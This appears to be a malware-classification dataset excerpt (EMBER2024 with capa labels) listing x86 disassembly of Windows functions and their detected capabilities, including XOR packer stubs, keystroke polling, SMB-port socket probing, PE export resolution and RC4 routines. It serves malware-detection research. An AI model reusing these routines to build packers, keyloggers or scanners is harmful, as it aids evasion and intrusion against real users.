joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a23c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebx, eax
xor ebp, ebp
xor edi, edi
lea eax, [ebx + 0x10]
call fcn.00403dcc
cmp ebp, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x40a2a5
mov eax, dword [ebx + 0x10]
mov edx, 0x40a3d8
call fcn.00404190
jne 0x40a274
lea eax, [ebx + 0x10]
call fcn.00403dcc
jmp 0x40a2ad
mov eax, dword [ebx + 0x10]
mov edx, 0x40a3e4
call fcn.00404190
jne 0x40a290
lea eax, [ebx + 0x10]
mov edx, 0x40a3d8
call fcn.00403e20
cmp dword [ebx + 0x10], 0
jne 0x40a2ad
lea eax, [ebx + 0x10]
mov edx, 0x40a3e4
call fcn.00403e20
jmp 0x40a2ad
lea eax, [ebx + 0x10]
call fcn.00403dcc
mov eax, ebx
call fcn.0040a08c
mov eax, dword [0x40b158]
inc dword [eax]
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
mov word [esp], 2
push 0x8b
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a307
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x1bd
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a34a
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x75d7
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a38d
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
test edi, edi
je 0x40a3b7
push esi
call sub.wsock32.dll_closesocket
lea eax, [ebx + 0x14]
mov ecx, dword [ebx + 0x10]
mov edx, 0x40a3f0
call fcn.00404090
mov eax, ebx
call fcn.00409f64
mov ebp, eax
push 0x200
call sub.kernel32.dll_Sleep
jmp 0x40a251

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ed0
mov ecx, 0x206578d4
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x8f14fa
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x40ab28
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44d5f8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040790f
and dword [ebp - 0x14], 0
cmp dword [0x451718], 0
mov dword [ebp - 0x18], eax
jne 0x40abdb
push 0x40248c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40ac83
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402480
push ebx
call edi
test eax, eax
je 0x40ac83
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402470
push ebx
mov dword [0x451718], eax
call edi
push eax
call esi
push 0x40245c
push ebx
mov dword [0x45171c], eax
call edi
push eax
call esi
push 0x402440
push ebx
mov dword [0x451720], eax
call edi
push eax
call esi
mov dword [0x451728], eax
test eax, eax
je 0x40abdb
push 0x402428
push ebx
call edi
push eax
call esi
mov dword [0x451724], eax
mov eax, dword [0x451724]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40ac34
cmp dword [0x451728], ecx
je 0x40ac34
push eax
call esi
push dword [0x451728]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40ac34
test ebx, ebx
je 0x40ac34
call edi
test eax, eax
je 0x40ac2b
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40ac2b
test byte [ebp - 8], 1
jne 0x40ac34
or dword [ebp + 0x10], 0x200000
jmp 0x40ac67
mov eax, dword [0x45171c]
cmp eax, dword [ebp - 0x18]
je 0x40ac67
push eax
call esi
test eax, eax
je 0x40ac67
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40ac67
mov eax, dword [0x451720]
cmp eax, dword [ebp - 0x18]
je 0x40ac67
push eax
call esi
test eax, eax
je 0x40ac67
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x451718]
call esi
test eax, eax
je 0x40ac83
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40ac85
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ae93
leave
ret

Function at 0x40ae93
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44d5f8]
jne 0x40ae9d
repz ret
jmp fcn.0040dce5
Function at 0x434780
Capabilities:
Accept command line arguments
Delete directory
Get common file path

Disassembly:
mov eax, 0x1420
call fcn.0040e090
cmp dword [0x22936a4], 0x37
jne 0x434837
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0x403478
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
lea eax, [esp + 0x824]
push eax
push 0x403490
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 4]
push edx
push 0
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea ecx, [esp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
lea edx, [esp + 0xc20]
push edx
push 0
push 0x4034e8
push 0x403500
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0x4035a0
push 0x403648
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov eax, dword [0x22936a8]
mov dword [esp], eax
mov eax, 0x5d1
add dword [esp], eax
mov ecx, dword [esp]
mov dl, byte [ecx + esi]
mov eax, dword [0x456834]
mov byte [eax + esi], dl
add esp, 0x1420
ret

Function at 0x434860
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0x64
mov edx, dword [0x44e358]
mov ecx, dword [esp + 0x68]
mov eax, dword [ecx]
push ebx
mov ebx, dword [0x44e360]
push ebp
mov ebp, dword [0x44e364]
push esi
mov esi, dword [ecx + 4]
mov dword [esp + 0x1c], edx
mov edx, dword [0x44e35c]
push edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], 0xc6ef3720
mov dword [esp + 0x28], 0x9e3779b9
mov dword [esp + 0x24], edx
mov dword [esp + 0x1c], 0x20
jmp 0x4348b4
mov eax, dword [esp + 0x18]
mov edx, eax
mov edi, eax
shr edx, 5
shl edi, 4
add edi, ebx
add edx, ebp
xor edx, edi
mov edi, dword [esp + 0x10]
add edi, eax
xor edx, edi
sub esi, edx
mov eax, esi
shl eax, 4
mov dword [0x2289654], 0
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x20]
add dword [esp + 0x14], eax
mov edi, dword [esp + 0x10]
add edi, esi
cmp dword [0x22936a4], 0x1be
jne 0x434910
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov ecx, dword [esp + 0x78]
mov edx, esi
shr edx, 5
add edx, dword [esp + 0x24]
mov dword [0x2289658], 0xff6b3619
xor edx, edi
xor dword [esp + 0x14], edx
mov dword [0x228965c], 0xffffffff
mov eax, dword [esp + 0x14]
sub dword [esp + 0x18], eax
mov eax, dword [esp + 0x28]
sub dword [esp + 0x10], eax
dec dword [esp + 0x1c]
jne 0x4348b0
cmp dword [0x22936a4], 0x8d4
jne 0x43497b
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x18]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], ecx
pop ebx
add esp, 0x64
ret 4
mov edx, dword [esp + 0x18]
pop edi
mov dword [ecx + 4], esi
pop esi
pop ebp
mov dword [ecx], edx
pop ebx
add esp, 0x64
ret 4
Function at 0x403d39
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x403e85
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
push edi
mov edi, dword [esp + 0x10]
call ebx
sub byte [esi + edi], 0x69
call ebx
add byte [esi + edi], 0x2e
call ebx
xor byte [esi + edi], 0xcd
call ebx
add byte [esi + edi], 0xf7
call ebx
add byte [esi + edi], 0xe7
call ebx
add byte [esi + edi], 0x6a
call ebx
add byte [esi + edi], 0x8d
call ebx
xor byte [esi + edi], 0x9c
call ebx
add byte [esi + edi], 0xe8
call ebx
add byte [esi + edi], 0x88
call ebx
xor byte [esi + edi], 0x55
call ebx
add byte [esi + edi], 0x4d
call ebx
add byte [esi + edi], 0xbf
call ebx
add byte [esi + edi], 0x1b
call ebx
add byte [esi + edi], 0x1c
call ebx
add byte [esi + edi], 0xc6
call ebx
xor byte [esi + edi], 0x88
call ebx
add byte [esi + edi], 0x4d
call ebx
add byte [esi + edi], 0x7f
call ebx
add byte [esi + edi], 0x71
call ebx
add byte [esi + edi], 0xad
call ebx
add byte [esi + edi], 0x75
call ebx
sub byte [esi + edi], 0x80
call ebx
add byte [esi + edi], 0x99
call ebx
add byte [esi + edi], 0x9c
call ebx
xor byte [esi + edi], 0xb4
call ebx
add byte [esi + edi], 0x5b
call ebx
add byte [esi + edi], 0x68
call ebx
add byte [esi + edi], 0xcb
call ebx
add byte [esi + edi], 0x30
call ebx
add byte [esi + edi], 0xec
call ebx
xor byte [esi + edi], 0xfc
call ebx
xor byte [esi + edi], 0x2e
call ebx
xor byte [esi + edi], 0x2e
call ebx
add byte [esi + edi], 0x21
call ebx
add byte [esi + edi], 0xd9
call ebx
xor byte [esi + edi], 0x52
call ebx
add byte [esi + edi], 0xf4
call ebx
add byte [esi + edi], 0xa
call ebx
xor byte [esi + edi], 0x9f
call ebx
add byte [esi + edi], 0x3e
call ebx
xor byte [esi + edi], 0x8f
call ebx
add byte [esi + edi], 0xd5
call ebx
xor byte [esi + edi], 0x1b
call ebx
add byte [esi + edi], 0xa1
call ebx
xor byte [esi + edi], 0x7a
call ebx
add byte [esi + edi], 0x29
call ebx
add byte [esi + edi], 0x64
call ebx
add byte [esi + edi], 0x77
inc esi
cmp esi, dword [esp + 0x14]
jb 0x403d52
pop edi
pop ebx
pop esi
ret

Function at 0x403f0f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x45a8ec]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x403f78
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401b44
lea eax, [esp + 0x14]
push 0x14d
push eax
call fcn.004040e6
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x403f90
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00403ab2
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x403f40
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405f4c
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00403ab2
jmp 0x403f7a
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x4443f8
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x444400
push ecx
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x444629
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push esi
call sub.kernel32.dll_GlobalFindAtomA
mov word [0x44bd90], ax
cmp word [0x44bd90], 0
jne 0x4445f0
call fcn.00402ab0
mov eax, dword [0x449d04]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
call fcn.00402ca8
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x14]
mov eax, dword [0x449d04]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov edi, dword [eax]
call dword [edi + 0xc]
push dword [ebp - 0x14]
lea eax, [ebp - 0x18]
call fcn.0043d6d4
push dword [ebp - 0x18]
push 0x444644
lea eax, [ebp - 4]
mov edx, 3
call fcn.004043a4
mov eax, dword [ebp - 4]
call fcn.00408198
test al, al
jne 0x44449f
lea eax, [ebp - 4]
mov edx, dword [0x44a050]
mov edx, dword [edx]
call fcn.004040bc
lea edx, [ebp - 0xc]
mov eax, dword [0x44a11c]
mov eax, dword [eax]
call fcn.004080b0
mov eax, dword [ebp - 0xc]
call fcn.004042e4
cmp eax, 0x13
jle 0x4444c8
lea edx, [ebp - 0xc]
mov eax, 0x444650
call fcn.0043e5bc
mov al, byte [0x44465c]
push eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, 0x444668
mov edx, 0x444678
mov eax, dword [ebp - 0xc]
call fcn.0040cbc0
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 0xc]
call fcn.004040bc
lea eax, [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404330
push 0
mov eax, dword [ebp - 8]
call fcn.004044e4
mov edi, eax
push edi
mov eax, dword [0x44a11c]
mov eax, dword [eax]
call fcn.004044e4
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x4445b8
mov dl, 1
mov eax, dword [ebp - 8]
call fcn.0043fa6c
push esi
call sub.kernel32.dll_GlobalAddAtomA
mov word [0x44bd90], ax
lea edx, [ebp - 0x20]
mov eax, dword [ebp - 8]
call fcn.0040807c
mov eax, dword [ebp - 0x20]
call fcn.004044e4
push eax
mov eax, edi
xor edx, edx
pop ecx
call fcn.0043eb08
test al, al
je 0x444580
mov ebx, 1
lea edx, [ebp - 0x24]
mov eax, 0x444688
call fcn.0043e5bc
mov eax, dword [ebp - 0x24]
call fcn.0043e750
call fcn.00403e90
jmp 0x444601
lea edx, [ebp - 0x28]
mov eax, 0x4446a4
call fcn.0043e5bc
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
call fcn.0043e3a8
mov edx, dword [ebp - 0x2c]
pop eax
call fcn.004042ec
mov eax, dword [ebp - 0x28]
call fcn.0043e750
mov ax, word [0x44bd90]
push eax
call sub.kernel32.dll_GlobalDeleteAtom
jmp 0x444601
lea edx, [ebp - 0x30]
mov eax, 0x4446bc
call fcn.0043e5bc
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
call fcn.0043e3a8
mov edx, dword [ebp - 0x34]
pop eax
call fcn.004042ec
mov eax, dword [ebp - 0x30]
call fcn.0043e750
mov ax, word [0x44bd90]
push eax
call sub.kernel32.dll_GlobalDeleteAtom
jmp 0x444601
mov ax, word [0x44bd90]
push eax
call sub.kernel32.dll_GlobalDeleteAtom
mov ebx, 2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x444630
lea eax, [ebp - 0x34]
mov edx, 9
call fcn.00404048
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404048
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0x415bf0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x49fc0b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00494478
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x415c72
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004922b2
mov eax, dword [eax]
push 0x4bec98
push eax
call fcn.00484454
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00494703
test bl, bl
je 0x415c72
push 0x4bec98
lea ecx, [esp + 0xc]
call fcn.00494a93
push 0x4beca4
lea ecx, [esp + 0xc]
call fcn.00494a93
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x415cae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00494703
jmp 0x415d79
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x415d32
lea edx, [esp + 0x7c]
push 0x4beca0
push edx
call fcn.00484454
add esp, 8
test eax, eax
je 0x415d32
lea eax, [esp + 0x7c]
push 0x4bec9c
push eax
call fcn.00484454
add esp, 8
test eax, eax
je 0x415d32
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x415cc2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00494703
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x416570
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4165d2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4165e0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x49fc8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4ce020]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x416718
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x416646
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00494703
xor eax, eax
jmp 0x41678f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00494840
push esi
lea ecx, [esp + 0xc]
call fcn.00494acf
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41676d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00416570
test eax, eax
jne 0x41676d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00416570
test eax, eax
jne 0x41676d
lea eax, [esp + 0x14]
push 0x4becb4
push eax
call fcn.004855a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41674c
lea ecx, [esp + 0x14]
push 0x4becb0
push ecx
call fcn.00485520
mov esi, eax
add esp, 8
test esi, esi
jne 0x41674c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41674f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004947f0
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41665e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00494703
xor eax, eax
jmp 0x41678f
mov byte [esi], 0
push 0x4becac
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00494703
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x427650
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4276be
cmp si, 0x69
ja 0x4276be
add esi, 0xffd0
cmp si, 0x11
je 0x42768e
push 0x11
call edi
test ax, ax
jge 0x42768e
or esi, 0x2000
cmp si, 0x10
je 0x4276a3
push 0x10
call edi
test ax, ax
jge 0x4276a3
or esi, 0x4000
cmp si, 0x12
je 0x4276b8
push 0x12
call edi
test ax, ax
jge 0x4276b8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4276cb
mov esi, 0xbd
jmp 0x42767f
cmp si, 0x6e
jne 0x4276d8
mov esi, 0xbe
jmp 0x42767f
cmp si, 0x6f
jne 0x427679
mov esi, 0xbf
jmp 0x42767f

Function at 0x429050
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4de7d0]
xor edx, edx
cmp eax, edx
jne 0x429076
xor eax, eax
mov byte [eax + 0x4de6d0], al
inc eax
cmp eax, 0x100
jl 0x42905e
mov dword [0x4de7d0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4de6d0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x429107
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4290da
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4290a8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x429180
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4291d3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4291ba
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret